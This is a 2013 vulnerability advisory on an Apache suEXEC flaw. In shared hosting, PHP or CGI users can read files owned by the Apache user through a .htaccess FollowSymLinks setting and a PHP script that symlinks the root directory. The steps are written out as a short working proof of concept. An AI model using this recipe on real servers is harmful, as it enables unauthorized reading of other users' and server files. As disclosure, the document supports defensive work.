Apache suEXEC privilege elevation / information disclosure
Discovered by Kingcope/Aug 2013
The suEXEC feature provides Apache users the ability to run CGI and SSI programs
under user IDs different from the user ID of the calling web server. Normally,
when a CGI or SSI program executes, it runs as the same user who is running the
Used properly, this feature can reduce considerably the security risks involved
with allowing users to develop and run private CGI or SSI programs.
With this bug an attacker who is able to run php or cgi code inside a web
hosting environment and the environment is configured to use suEXEC as a
protection mechanism, he/she is able to read any file and directory on the file-
system of the UNIX/Linux system with the user and group id of the
apache web server.
Normally php and cgi scripts are not allowed to read files with the apache user-
id inside a suEXEC configured environment.
Take for example this apache owned file and the php script that follows.
$ ls -la /etc/testapache
-rw------- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
only user www-data should be able to read this file.
$ cat test.php
system("id; cat /etc/testapache");
When calling the php file using a webbrowser it will show...
uid=1002(example) gid=1002(example) groups=1002(example)
because the php script is run trough suEXEC.
The script will not output the file requested because of a permissions error.
Now if we create a .htaccess file with the content...
Options Indexes FollowSymLinks
and a php script with the content...
system("ln -sf / test99.php");
symlink("/", "test99.php"); // try builtin function in case when
//system() is blocked
in the same folder
..we can access the root filesystem with the apache uid,gid by
The above php script will simply create a symbolic link to '/'.
A request to test99.php/etc/testapache done with a web browser shows..
voila! read with the apache uid/gid
The reason we can now read out any files and traverse directories owned by the
apache user is because apache httpd displays symlinks and directory listings
without querying suEXEC.
It is not possible to write to files in this case.
Version notes. Assumed is that all Apache versions are affected by this bug.
Server version: Apache/2.2.22 (Debian)
Server built: Mar 4 2013 21:32:32
Server's Module Magic Number: 20051115:30
Server loaded: APR 1.4.6, APR-Util 1.4.1
Compiled using: APR 1.4.6, APR-Util 1.4.1
Server MPM: Worker
threaded: yes (fixed thread count)
forked: yes (variable process count)
Server compiled with....
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)